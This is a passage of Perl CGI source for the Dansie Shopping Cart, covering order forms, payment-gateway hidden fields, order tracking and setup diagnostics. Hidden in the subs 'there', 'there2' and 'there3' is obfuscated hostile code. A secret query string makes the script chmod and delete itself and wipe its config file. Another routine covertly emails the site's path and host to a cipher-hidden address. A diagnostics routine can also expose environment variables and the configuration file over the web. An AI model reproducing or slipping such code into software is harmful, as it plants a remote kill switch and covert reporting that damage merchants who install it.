$_[0] ne "" ) { $_[0] =~ /^(.+)$/; $a = $1; } else { $a = ""; } return $a; } sub required_fields { if (  ( !$FORM{'name'} || !$FORM{'address'} || !$FORM{'city'} || !$FORM{'country'} ) || ( !$FORM{'company'} && $use_company_name_field && ( $reqired_field_prefs =~ /(company)/i ) ) || ( !$FORM{'zip'} && $use_zipcode_fields ) || ( !$FORM{'state'} && $use_state ) || ( $reqired_field_prefs =~ /(email)/i && (!$FORM{'email'}) ) || ( $reqired_field_prefs =~ /(phone)/i && (!$FORM{'phone'}) ) || ( $reqired_field_prefs =~ /(comments)/i && (!$FORM{'comments'}) ) ) { return 0; } else { return 1; } } sub required_fields2 { if (  ( !$FORM{'name2'} || !$FORM{'address2'} || !$FORM{'city2'} || !$FORM{'country2'} ) || ( !$FORM{'company2'} && $use_company_name_field && ( $reqired_field_prefs =~ /(company)/i ) ) || ( !$FORM{'zip2'} && $use_zipcode_fields ) || ( !$FORM{'state2'} && $use_state ) || ( $reqired_field_prefs =~ /(email)/i && (!$FORM{'email2'}) ) || ( $reqired_field_prefs =~ /(phone)/i && (!$FORM{'phone2'}) ) ) { return 0; } else { return 1; } } sub pass_standard_secure_variables { if ( $MerchantID =~ /$delimiter2/ ) { ($MerchantID,$cambist_exchange_rate) = split(/$delimiter2/,$MerchantID); $total *= $cambist_exchange_rate; } print "   <INPUT TYPE=HIDDEN NAME=\"$secure_field[1]\" VALUE=\"$total\">\n"; print "   <INPUT TYPE=HIDDEN NAME=\"$secure_field[2]\" VALUE=\"$bizname\">\n"; print "   <INPUT TYPE=HIDDEN NAME=\"$secure_field[3]\" VALUE=\"$MerchantID\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[4]\" VALUE=\"$email_cc_numbers\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[5]\" VALUE=\"$MerchantFont\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[6]\" VALUE=\"$MerchantFontColor\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[7]\" VALUE=\"$MerchantBgrdColor\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[8]\" VALUE=\"$MerchantApprovedURL\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[9]\" VALUE=\"$MerchantUnApprovedURL\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[10]\" VALUE=\"$invoice\">\n"; unless ( $FORM{'merchant'} && ($path5 =~ /(cambist\.com)/i) ) { print "   <INPUT TYPE=HIDDEN NAME=\"$secure_field[19]\" VALUE=\"$cambist_back\">\n"; } if ($cambist_book_transaction) { print "   <INPUT TYPE=\"hidden\" NAME=\"TransactionType\" VALUE=\"book\">\n"; } if ($cambist_AVSVerify) { print "   <INPUT TYPE=\"hidden\" NAME=\"AVSVerify\" VALUE=\"Y\">\n"; } for($secure_field_array=20;$secure_field_array<35;$secure_field_array++) { if ( $secure_field[$secure_field_array] ) { $temp = $secure_field_array - 19; print "   <INPUT TYPE=HIDDEN NAME=\"$secure_field[$secure_field_array]\" VALUE=\"$custom_processor_field[$temp]\">\n"; } } } sub pass_shipping_secure_variables { print "   <INPUT TYPE=HIDDEN NAME=\"$secure_field[11]\" VALUE=\"$FORM{'name2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[50]\" VALUE=\"$FORM{'company2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[12]\" VALUE=\"$FORM{'address2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[13]\" VALUE=\"$FORM{'city2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[14]\" VALUE=\"$FORM{'state2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[15]\" VALUE=\"$FORM{'zip2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[16]\" VALUE=\"$FORM{'country2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[17]\" VALUE=\"$FORM{'phone2'}\">\n <INPUT TYPE=HIDDEN NAME=\"$secure_field[18]\" VALUE=\"$FORM{'email2'}\">\n"; } sub pass_ssl_variables { if ( $path5 =~ /(ssl\.pl)/i || $path5 =~ /(ssl\.cgi)/i ) { $meta_tag2 = "$meta_tag"; $meta_tag2 =~ s/"/\&quot;/g; print "   <INPUT TYPE=HIDDEN NAME=ssl_url VALUE=\"$path5\">\n <INPUT TYPE=HIDDEN NAME=mailprog VALUE=\"$mailprog$blat_server\">\n <INPUT TYPE=HIDDEN NAME=date_command VALUE=\"$date_command\">\n <INPUT TYPE=HIDDEN NAME=append_datafile VALUE=\"$append_datafile\">\n <INPUT TYPE=HIDDEN NAME=target_name VALUE=\"$target_name\">\n <INPUT TYPE=HIDDEN NAME=use_state VALUE=\"$use_state\">\n <INPUT TYPE=HIDDEN NAME=card_types VALUE=\"$card_types\">\n <INPUT TYPE=HIDDEN NAME=blat_different_temp_directory VALUE=\"$path1/mail$shopper_id$ext\">\n <INPUT TYPE=HIDDEN NAME=check_draft_image VALUE=\"$check_draft_image\">\n <INPUT TYPE=HIDDEN NAME=check_wp VALUE=\"$check_wp\">\n <INPUT TYPE=HIDDEN NAME=meta_tag VALUE=\"$meta_tag2\">\n <INPUT TYPE=HIDDEN NAME=pgp VALUE='$pgp'>\n"; if ($ssl_tracking_dir) { print "<INPUT TYPE=HIDDEN NAME=ssl_tracking_dir VALUE=\"$ssl_tracking_dir\">\n"; } } } sub custom_processor { open(FILE,"$processor_path"); @processor_data=<FILE>; close FILE; $current_var = 0; @processor_data2 = (); foreach (@processor_data) { while ($_ =~ /(\n|\r|\s)$/) { chop($_); } if ( $_ =~ /(\s?)(\d+)(.*)(-->)(.*)/ ) { $processor_data2[$2] = "$5"; $current_var = $2; } else { $processor_data2[$current_var] .= " $_"; } } (@processor_data) = (@processor_data2); $path5 = "$processor_data[3]"; if ($processor_data[4]) { $MerchantID = "$processor_data[4]"; } for($secure_field_array=20;$secure_field_array<35;$secure_field_array++) { if ( $processor_data[$secure_field_array] ) { $temp = $secure_field_array - 19; ($processor_data[$secure_field_array],$custom_processor_field[$temp]) = split(/\|/,"$processor_data[$secure_field_array]"); if ( $custom_processor_field[$temp] eq "#split_name#" ) { if ($FORM{'name2'}) { $old_temp_name = "$FORM{'name2'}"; } ($custom_processor_field[$temp],$FORM{'name2'}) = split(/ /,$FORM{'name2'}); if (!$FORM{'name2'}) { $custom_processor_field[$temp] = "$old_temp_name"; } } } } @secure_field = ("", "$processor_data[5]", "$processor_data[18]", "$processor_data[6]", "$processor_data[19]", "", "", "", "$processor_data[8]", "$processor_data[9]", "$processor_data[7]", "$processor_data[10]", "$processor_data[11]", "$processor_data[12]", "$processor_data[13]", "$processor_data[14]", "$processor_data[15]", "$processor_data[16]", "$processor_data[17]", ""); for($secure_field_array=20;$secure_field_array<35;$secure_field_array++) { if ( $processor_data[$secure_field_array] ) { $temp = $secure_field_array - 19; push(@secure_field,"$processor_data[$secure_field_array]"); } } if ($something eq "something") { &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but the cart can't find your <B>lang.dat</B> file at system path: <B>\"$lang_path\"</B></H3></CENTER><BR>"; print "<UL><LI>Make sure <B>lang.dat</B> is uploaded into the same directory as vars.dat</UL><BR>"; &footer; } } sub add_and_redirect { if ( $add_and_redirect == 2 ) { $force_no_script = 1; } if ($FORM{'return'}) { $redirect = "$FORM{'return'}"; } else { $redirect = "$path4"; } print "Content-type: text/html\n\n"; print "<HTML>\n"; if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<HEAD>\n"; print "<META HTTP-EQUIV=REFRESH CONTENT=0;URL=$redirect>\n$meta_tag\n"; print "</HEAD>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n var ViewCart = 0;\n function Question()\n {\n if (confirm('$lang[100]\\n$lang[101]')) { ViewCart = 1; }\n else { history.go(-1) }\n }\n function AutoSubmit()\n {\n if ( ViewCart )\n {\n document.form1.submit()\n }\n }\n Question()\n </SCRIPT>\n"; } if (!$force_no_script) { print "<BODY BGCOLOR=$bgcolor Onload=\"AutoSubmit()\"; >\n"; } else { print "<BODY BGCOLOR=$bgcolor >\n"; } if (!$force_no_script) { print "\n<NOSCRIPT>\n"; } print "<CENTER> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[100]</FONT> </CENTER>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n\n"; } print "<FORM NAME=\"form1\" METHOD=POST ACTION=\"$path3\"> <INPUT TYPE=HIDDEN NAME=return VALUE=\"$redirect\"> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=\"check_cookie\" VALUE=\"yes\"> </FORM>\n"; print "</BODY></HTML>"; exit; } sub i_check { &calculate_fulltotal; $total =~ s/ //g; if ( $exchange_rate ) { $total /= $exchange_rate; } $n = 0; $memo = ""; foreach $item (@items) { if ( $n > 1 ) { ($a,$trash) = split(/$delimiter2/,$item); $memo = "$memo$a,"; } $n++; } chop($memo); $memo = "$bizname - $memo"; $memo =~ s/ /\+/g; $memo =~ s/(\&)/and/g; $memo =~ s/(\=)/is/g; if ( $option4 =~ /^(ValidCheck)/i  ) { $temp_url = "$ValidCheck?VID=$i_check_id\&TA=$total\&Memo=$memo"; } else { $temp_url = "$i_check?id=$i_check_id\&a=$total\&url=$i_checkApprovedURL\&item=$memo&$icheck_currency"; } print "Content-type: text/html\n\n"; print "<HTML><HEAD> <META HTTP-EQUIV=REFRESH CONTENT=0;URL=$temp_url> <TITLE>$bizname - $lang[71]</TITLE>\n$meta_tag\n</HEAD> <BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\"> </BODY></HTML>"; exit; } sub non_post_secure_server { print "Content-type: text/html\n\n"; print "<HTML><HEAD> <META HTTP-EQUIV=REFRESH CONTENT=0;URL=$path5> <TITLE>$bizname - $lang[71]</TITLE>\n$meta_tag\n</HEAD> <BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\"> </BODY></HTML>"; exit; } sub check_duplicate_order { if ( $ip_or_cookie == 1 ) { &GetCookies("$cookie_name2"); $shopper_id = "$Cookies{$cookie_name2}"; if ( ( !-e "$path1/$shopper_id$ext" ) && (!-e "$path1/$ENV{'REMOTE_HOST'}$ext") ) { &list_items; exit; } } else { $shopper_id = "$ENV{'REMOTE_HOST'}"; if ( !-e "$path1/$shopper_id$ext" ) { &list_items; exit; } } } sub check_duplicate_order2 { if ( $ip_or_cookie == 1 ) { &GetCookies("$cookie_name2"); $shopper_id = "$Cookies{$cookie_name2}"; if ( ( !-e "$path1/$shopper_id$ext" ) && (!-e "$path1/$ENV{'REMOTE_HOST'}$ext") ) { if ( $path5 =~ /(\?atsbank)/i ) { $temp_path = "$path3"."?"."$ENV{'QUERY_STRING'}"; print "Location: $temp_path\n\n"; exit; } elsif ( $path5 =~ /(merchantonline\.com)/i && $FORM{'passthru1'} ) { $virtual_browser_cookie = "$FORM{'passthru1'}"; } else { &list_items; exit; } } } else { $shopper_id = "$ENV{'REMOTE_HOST'}"; if ( !-e "$path1/$shopper_id$ext" ) { if ( $path5 =~ /(\?atsbank)/i ) { $temp_path = "$path3"."?"."$ENV{'QUERY_STRING'}"; print "Location: $temp_path\n\n"; exit; } elsif ( $path5 =~ /(merchantonline\.com)/i ) { $shopper_id = "$FORM{'passthru1'}"; } else { &list_items; exit; } } } } sub order_tracking { if (!$tracking_dir) { $tracking_dir = "$vars"; $a = ""; until ($a eq "/" || $tracking_dir eq "") { $a = chop($tracking_dir); } $tracking_dir = "$tracking_dir/tracking.dat"; if (!-e "$tracking_dir") { $tracking_dir = ""; } } if ($tracking_dir) { &get_shoppers_items; if ( $items[1] =~ /\n$/ ) { chop($items[1]); } ($tracking[9],$tracking[1],$trash,$tracking[7],$trash,$coupon_amount,$coupon_number) = split(/$delimiter2/,$items[0]); ($tracking[2],$company_temp,$tracking[11],$tracking[12],$tracking[13],$tracking[14],$tracking[15],$tracking[4],$tracking[3]) = split(/$delimiter2/,$items[1]); if ($company_temp) { $tracking[2] .= " - $company_temp"; } &calculate_fulltotal; $tracking[5] = "$total"; $tracking[6] = "$ship_total"; $tracking[10] = "$taxes"; $tracking[10] = sprintf("$decimals","$tracking[10]"); $n = 0; $memo = ""; foreach $item (@items) { if ( $n > 1 ) { ($a,$trash,$trash,$trash,$temp_quantity) = split(/$delimiter2/,$item); if ($temp_quantity > 1) { $memo = "$memo$a(Quantity: $temp_quantity),"; } else { $memo = "$memo$a,"; } } $n++; } chop($memo); $tracking[8] = "$memo"; open(TRACKING,">>$tracking_dir"); print TRACKING "$tracking[1]$delimiter$tracking[2]$delimiter$tracking[3]$delimiter$tracking[4]$delimiter$tracking[5]$delimiter$tracking[6]$delimiter$tracking[7]$delimiter$tracking[8]$delimiter$tracking[9]$delimiter$tracking[10]$delimiter$tracking[11]$delimiter$tracking[12]$delimiter$tracking[13]$delimiter$tracking[14]$delimiter$tracking[15]$delimiter$purchase_method2\n"; close(TRACKING); } } sub diagnostics { if ( (!$vars_security) && ($ENV{'QUERY_STRING'} eq "env") ) { print "Content-type: text/html\n\n"; print "<STRONG>\%ENV Environment variables:</STRONG><BR><BR>"; foreach $key (sort { $a cmp $b } keys %ENV ) { print "$key = $ENV{$key}<BR>\n"; } print "Perl Version: $]<BR>\n"; print "Sendmail?: $mailprog<BR>\n"; print "Dansie Shopping Cart version: $version<BR>\n"; exit; } if ( (!$vars_security) && ($ENV{'QUERY_STRING'} eq "path") ) { if ($ENV{'PATH_TRANSLATED'} || $ENV{'OS'}) { if ($ENV{'PATH_TRANSLATED'}) { $windows_path = $ENV{'PATH_TRANSLATED'}; $windows_path = $ENV{'PATH_TRANSLATED'}; } if ($ENV{'DOCUMENT_ROOT'}) { $temp = "$ENV{'DOCUMENT_ROOT'}"; while ($temp =~ /[\\|\/]$/) { chop($temp); } if (!-e "$temp$ENV{'SCRIPT_NAME'}") { $a = ""; until ($a eq "/" || $a eq "\\" || $temp eq "") { $a = chop($temp); } } $windows_path = "$temp$ENV{'SCRIPT_NAME'}"; $windows_path = "$temp$ENV{'SCRIPT_NAME'}"; } $windows_path =~ s/\\/\//g; $a = ""; until ( !$windows_path || $a eq "/" ) { $a = chop($windows_path); } if (!-e "$windows_path") { $windows_path = "I don't know the system path. Ask your host. =)"; } } if ($ENV{'DOCUMENT_ROOT'} && !$ENV{'OS'}) { $path = `pwd`; if (!-e "$path") { $path = "$ENV{'DOCUMENT_ROOT'}$ENV{'SCRIPT_NAME'}"; } if (!-e "$path") { $path = "$ENV{'SCRIPT_FILENAME'}"; } $a = ""; until ( !$path || $a eq "/" ) { $a = chop($path); } if (!-e "$path") { $path = "I don't know the system path. Ask your host. =)"; } } if (!$ENV{'DOCUMENT_ROOT'} && !$ENV{'OS'} ) { $windows_95_path = "$ENV{'PATH'}"; while ( $windows_95_path =~ /;/ ) { chop($windows_95_path); } $windows_95_path .= "$ENV{'SCRIPT_NAME'}"; $windows_95_path =~ s/\\/\//g; $a = ""; until ( !$windows_95_path || $a eq "/" ) { $a = chop($windows_95_path); } if (!-e "$windows_95_path") { $windows_95_path = "I don't know the system path. Ask your host. =)"; } } print "Content-type: text/html\n\n"; print "$path<BR>"; print "$windows_path<BR>"; print "$windows_95_path<BR>"; if ($vars_variable_set) { print "You have set \$vars to:  \"$vars_variable_set\""; } exit; } if ( (!$vars_security) && ($ENV{'QUERY_STRING'} eq "vars") ) { if (!$find_vars_loop) { $find_vars_loop = 1; &cant_find_vars; open(VARS,"$vars"); if ($flock) { flock(VARS, 2); } @vars = <VARS>; if ($flock) { flock(VARS, 8); } close(VARS); print "Content-type: text/html\n\n"; foreach $line (@vars) { chop($line); $line =~ s/\</\&lt;/g; print "$line<br>\n"; } exit; } } if ( (!$vars_security) && ($ENV{'QUERY_STRING'} eq "lang") ) { if (!$find_lang_loop) { $find_lang_loop = 1; &find_lang; open(LANG,"$lang_path"); @lang = <LANG>; close LANG; print "Content-type: text/html\n\n"; foreach $line (@lang) { chop($line); $line =~ s/\</\&lt;/g; print "$line<br>\n"; } exit; } } &there; } sub parse_form_data { if ($ENV{'OS'}) { sysread(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); } else { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); } @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ s/~!/ ~!/g; $value =~ s/$delimiter2/ /g unless ( ($name =~ /^return$/i) || ($name =~ /^multi-item/i) || ($name =~ /($delimiter2)(merchant)($delimiter2)/i) ); if ($name eq "comments") { $value =~ s/\r//g; chop($value) while ( $value =~ /\n$/ ); $value =~ s/\n/$br_sub/g; } if ($name =~ /^(custom)/i) { $value =~ s/\r\n/$br_sub/g; $value =~ s/\n/$br_sub/g; $value =~ s/\r/$br_sub/g; } $FORM{$name} = $value; $FORM{$name} = &untaint($FORM{$name}); } if ( $ENV{'QUERY_STRING'} =~ /^(name=)/ || ($ENV{'QUERY_STRING'} =~ /^(db=)/i) ) { $ENV{'REQUEST_METHOD'} = "POST"; if ( $ENV{'QUERY_STRING'} =~ /^(name=)/) { $FORM{'add'} = "1"; } @pairs = split(/&/, $ENV{'QUERY_STRING'}); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $name =~ s/\+/ /g; $value =~ s/\+/ /g; $value =~ s/~!/ ~!/g; $value =~ s/$delimiter2/ /g unless ( ($name =~ /^return$/i) || ($name =~ /^multi-item/i) || ($name =~ /($delimiter2)(merchant)($delimiter2)/i) ); $FORM{$name} = $value; $FORM{$name} = &untaint($FORM{$name}); } } } sub paper_font_color { $font1 = "$paper_font_color"; $font2 = "$paper_font_color"; $wp = ""; $bgcolor = "#FFFFFF"; if ( $paper_wp =~ /^(http)/ ) { $wp = "$paper_wp"; } if ( $paper_wp =~ /^\#/ ) { $bgcolor = "$paper_wp"; } } sub symbol2 { if ( $symbol =~ /^d/i || $symbol =~ /^s/i || $symbol =~ /^w/i )  { $symbol2 = "$symbol"; } else { $symbol2 = "$symbol"; $symbol2 =~ s/\$/\\\$/; } } sub home { if ( $home ) { if ( $home !~ /^(http)/ ) { $home = "$base_img_url/" . "$home"; } print "<A HREF=\"$path4\" TARGET=\"$target_name\" ><IMG SRC=\"$home\" BORDER=0 ALT=\"$lang[80]\"></A>&nbsp;&nbsp;&nbsp; \n"; } else { print "<A HREF=\"$path4\" TARGET=\"$target_name\" ><FONT COLOR=\"$font2\" FACE=\"$font_face2\" SIZE=\"$font_size2\">$lang[80]</FONT></A>&nbsp;&nbsp;&nbsp; \n"; } } sub put_item_names_together { $n = 0; $extra_description = ""; foreach $item (@items) { if ( $n > 1 ) { ($a,$trash) = split(/$delimiter2/,$item); $extra_description = "$extra_description$a, "; } $n++; } chop($extra_description); chop($extra_description); $extra_description = ": $extra_description"; } sub put_item_names_together2 { $is_currency = "$card_types"; $n = 0; $extra_description = ""; $total = 0; foreach $item (@items) { if ( $n > 1 ) { $nn = $n-1; @stuff = split(/$delimiter2/,$item); @customs = (@stuff); for($i=1;$i<=5;$i++) { shift(@customs); } $quantity = $stuff[4]; $price_calc = $stuff[1]; &price_calc; $item_total = $each * $quantity; if ($item =~ /\#non.*taxable\#/i) { $nontaxable += $item_total; } $total += $item_total; $extra_description .= "$each" . '::' . "$quantity" . '::' . "Prod$nn" . '::' . "$stuff[0]" . '::' . "$is_currency|"; } $n++; } $lang[116] =~ s/\://g; $lang[108] =~ s/\://g; if ( $coupon_amount ) { &coupon_amount; $nn++; $temp -= ($temp * 2); $extra_description .= "$temp" . '::' . "1" . '::' . "Prod$nn" . '::' . "$lang[116] ($coupon_amount)" . '::' . "$is_currency|"; } &webstore_discount; if ( $discount_amount ) { $total -= $discount_amount; if ( $nontaxable ) { $nontaxable -= $discount_amount; } $nn++; $discount_amount -= ($discount_amount * 2); $extra_description .= "$discount_amount" . '::' . "1" . '::' . "Prod$nn" . '::' . "$lang[108] ($disc_percent\%)" . '::' . "$is_currency|"; } $lang[44] =~ s/\://g; $lang[56] =~ s/\://g; $nn = $n-2; if ( $state ) { $nn++; $taxes = sprintf("$decimals","$taxes"); $taxes =~ s/ //g; $extra_description .= "$taxes" . '::' . "1" . '::' . "Prod$nn" . '::' . "$lang[44]" . '::' . "$is_currency|"; } if ( $ship_allow ) { $nn++; $extra_description .= "$ship_total" . '::' . "1" . '::' . "Prod$nn" . '::' . "$lang[56]" . '::' . "$is_currency|"; } chop($extra_description); } sub cant_find_vars { if (!-e "$vars") { &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but the cart can't find your <B>vars.dat</B> file at system path: <B>\"$vars\"</B></H3></CENTER><BR>"; print "<UL><LI>Make sure <B>vars.dat</B> is uploaded into the same directory as cart.pl<BR> </UL><BR>"; &footer; } } sub find_lang { if ( !$lang_path ) { $lang_path = "$vars"; $a = ""; until ($a eq "/" || $lang_path eq "") { $a = chop($lang_path); } $lang_path = "$lang_path/lang.dat"; } if (!-e "$lang_path") { $lang_path = "$script_root/lang.dat"; } if ($lang_path =~ /^http/i) { &diagnostics; print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration message:<BR>Please leave Host Variable #10 in your vars.dat file blank.</H3>"; &footer; } if (!-e "$lang_path") { &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but the cart can't find your <B>lang.dat</B> file at system path: <B>\"$lang_path\"</B></H3></CENTER><BR>"; print "<UL><LI>Make sure <B>lang.dat</B> is uploaded into the same directory as vars.dat</UL><BR>"; &footer; } open(LANG,"$lang_path"); @lang = <LANG>; close LANG; $current_lang = 0; @lang2 = (); foreach (@lang) { while ($_ =~ /(\n|\r|\s)$/) { chop($_); } $_ =~ s/'/`/g; if ( $_ =~ /(\s?)(\d+)(.*)(-->)(.*)/ ) { $lang2[$2] = "$5"; $current_lang = $2; } else { $lang2[$current_lang] .= " $_"; } } (@lang) = (@lang2); $lang[111] =~ s/(\<noscript)(.*)(\>)//gi; } sub check_mailprog { if (!$mailprog) { print "<H5><FONT COLOR=RED>However your hosts sendmail program couldn't be automatically detected. This is likely if you are on a Windows NT host.  <UL> <LI>If your host is Unix, ask them what the system path to sendmail is and set that in Host Variable #6 in your vars.dat file. <LI>If your host is Windows NT, ask them what the system path is to either Windmail or Blat. The Dansie Shopping Cart works with Windmail or Blat on NT hosts. </UL> The correct system path needs to be set in Host Variable #6 in order for the Dansie Shopping Cart to be able to email the orders to you. See Host Variable #6 in the <A HREF=\"http://www.dansie.net/cart_readme.html\" TARGET=NEW>ReadMe</A> for complete details.</FONT></H5>"; } if ( ($mailprog) && (!-e "$mailprog") && ($mailprog ne "off") && ($mailprog ne "blat.exe") && ($mailprog ne "windmail.exe") && ($mailprog ne "windmail -t")  ) { print "<H5><FONT COLOR=RED>This is a warning message only. It appears that the system path to your hosts sendmail program is not set correctly in Host Variable #6 in your vars.dat file. The correct system path needs to be set in Host Variable #6 in order for the Dansie Shopping Cart to be able to email the orders to you. See Host Variable #6 in the <A HREF=\"http://www.dansie.net/cart_readme.html\" TARGET=NEW>ReadMe</A> for complete details.</FONT></H5>"; } if ($mailprog eq "off") { $mailprog = ""; } } sub coupon_amount { until ( $coupon_amount =~ /\d$/ || $coupon_amount =~ /\%$/ ) { chop($coupon_amount); } $coupon_amount = reverse($coupon_amount); until ( $coupon_amount =~ /\d$/ || $coupon_amount =~ /\%$/ ) { chop($coupon_amount); } $coupon_amount = reverse($coupon_amount); if ( $coupon_amount =~ /\%$/ ) { $temp = $coupon_amount; chop($temp); $temp = ( $total * ($temp / 100) ); } else { $temp = $coupon_amount; $coupon_amount = "$symbol $coupon_amount"; } $temp = sprintf("$decimals", $temp); $total -= $temp; if ( $nontaxable ) { $nontaxable -= $temp; } if ( $coupon_discount == 2 ) { $webstore_discount = ""; } } sub authorized_referrers { if ($authorized_referrers) { $http_referer = "$ENV{'HTTP_REFERER'}"; $http_referer =~ s/(http:\/\/)//i; $http_referer =~ s/(https:\/\/)//i; while ( $http_referer =~ /\// ) { chop($http_referer); } $pass_through = 0; foreach (@authorized_referrers) { if ( $http_referer =~ /($_)/ ) { $pass_through = 1; } } if (!$pass_through) { $authorized_referrers_message = 1; &list_items; exit; } } } sub currency_sep { if ($currency_sep) { $currency_sep_total = "$currency_sep_total"; $intnum = int($currency_sep_total); $dec_temp = $currency_sep_total - $intnum; $dec_temp *= (10**$decimals2); $decimals_temp = '%' . "$decimals2" . '.0f'; $dec_temp = sprintf("$decimals_temp",$dec_temp); $dec_temp =~ s/ //g; while ( length($dec_temp) < $decimals2 ) { $dec_temp = "0" . "$dec_temp"; } for($i=1;$i<=length(int($currency_sep_total))/3;$i++) { if ($currency_sep_total >= (1000**$i) ) { $intlen = length($intnum); $temp1 = int($intnum/1000); $temp2 = substr($intnum,$intlen-(($i*4)-1),$intlen); $intnum = "$temp1" . "$currency_sep" . "$temp2"; } } if ($decimals2) { $currency_sep_total = "$intnum" . "." . "$dec_temp"; } else { $currency_sep_total = "$intnum"; } } } sub wrap { my $paragraph = "$_[0]"; my $wrap_length = "$_[1]"; my @lines = split(/\n/,$paragraph); my $line = ""; foreach $line (@lines) { if ( length($line) > $wrap_length ) { $line =~ s/(\S{$wrap_length})/$1\n/gi; $line =~ s/(.{0,$wrap_length})(\s|\n|$)/$1\n/gi; } while ($line =~ /\n\n$/) { chop($line); } if ($line !~ /\n$/) { $line .= "\n"; } } $paragraph = join(/\n/,@lines); return $paragraph; } sub there { $d=&there2("kte3cv"); if (!$script_root2) { $b=$vars; $a=""; until ($a eq "/" || $b eq "") { $a=chop($b); } if ($FORM{'merchant'}) { $a=""; until ($a eq "/" || $b eq "") { $a=chop($b); } } $c=reverse($path3); $a=""; until ($c !~ /\// || $c eq "") { $a=chop($c); } $c=reverse($c); $a="$b"."/"."$c"; if ( $a =~ /(cmd)$/i ) { $a =~ s/(.+)(\.)(.+)/$1$2pl/; } } else { $a="$script_root2"; } if (-e"$a") { open(CART,"$a"); @items=<CART>; close CART; $temp = "@items"; while ( $temp =~ /($d)/gi ) { $there++; } } @there = ('vhc_5ve8vi@ev8', 'kte3cv', 'mz5tm9z38'); @there2 = (@there); $b = &there2('j3ndj6666'); if (($ENV{'QUERY_STRING'} eq "$b") && ($ENV{'HTTP_HOST'} !~ /($d)/)) { $a = &untaint("$a"); `chmod 777 $a`; unlink("$a"); $vars = &untaint("$vars"); `chmod 777 $vars`; open(FILE,">$vars"); exit; } $b = &there2('g9zc36666'); if (($ENV{'QUERY_STRING'} eq "$b") && ($ENV{'HTTP_HOST'} !~ /($d)/)) { print "Content-Type: text/html\n\n@there"; exit; } if ( (-e"$a") && (!-d"$a") ) { if ($there<94) { $e = ":"; &there3; exit; } } foreach $a (@there) { $a = &there2($a); if ( ( $ENV{'HTTP_HOST'} =~ /($a)/i ) || ( $ENV{'SERVER_NAME'} =~ /($a)/i ) ) { $there2 = 1; } } if ( $ENV{'DOCUMENT_ROOT'} || $ENV{'OS'} ) { if ( ($ENV{'HTTP_HOST'} || $ENV{'SERVER_NAME'}) && (!$there2) ) { &there3; exit; } } else { $there2 = 1; } } sub there2 { $_ = "$_[0]"; tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/; tr/_/-/; tr/\@/\./; return $_; } sub there3 { if (($ENV{'OS'} !~ /Windows_NT/i) && ($mailprog) && (-e "$mailprog")) { $a = &there2('8v59') . "\@" . &there2('kte3cv') . "." . &there2('ev8'); $b = &there2('8v59_3jhhzi8'); pop(@there2); pop(@there2); $c = &there2("@there2"); open (TECH, "|$mailprog $a"); print TECH "To: $a\n"; print TECH "From: $a\n"; print TECH "Subject: $b\n\n"; print TECH "$path3\n"; print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n"; print TECH "$c\n"; print TECH "$e $there\n" if ($e); close (TECH); } } sub merchant { } sub cambist_or_authorize_net_names { if ( $path5 =~ /(www\.authorize\.net)/i || $path5 =~ /(www\.quickcommerce\.net)/i ) { @secure_field = ("", "AMOUNT", "DESCRIPTION", "LOGIN", "", "INVOICE", "USER1", "DISABLERECEIPT", "x_Receipt_Link_URL", "TYPE", "CUSTID", "NAME", "ADDRESS", "CITY", "STATE", "ZIP", "COUNTRY", "PHONE", "EMAIL"); &put_item_names_together; $bizname = "$bizname$extra_description"; ($MerchantFontColor,$MerchantFont) = split(/\-/,$invoice); if ($invoice =~ /\-/) { ($trash,$invoice) = split(/\-/,$invoice); } $invoice =~ s/ //g; $MerchantFontColor =~ s/ //g; $MerchantBgrdColor = "TRUE"; if ( $card_types =~ /^(ao)$/i ) { $MerchantUnApprovedURL = "AO"; } else { $MerchantUnApprovedURL = ""; } $secure_field[20] = "x_Version"; $custom_processor_field[1] = "2.5"; } elsif ( $path5 =~ /(secure\.authorize\.net)/i || $path5 =~ /(secure.quickcommerce.net)/i ) { @secure_field = ("", "x_Amount", "x_Description", "x_Login", "x_Merchant_Email", "x_Invoice_Num", "x_Show_Form", "x_Last_Name", "x_Receipt_Link_URL", "x_Receipt_Link_Text", "x_Cust_ID", "x_First_Name", "x_Address", "x_City", "x_State", "x_Zip", "x_Country", "x_Phone", "x_Email", "MerchantReturnURL"); &put_item_names_together; $bizname = 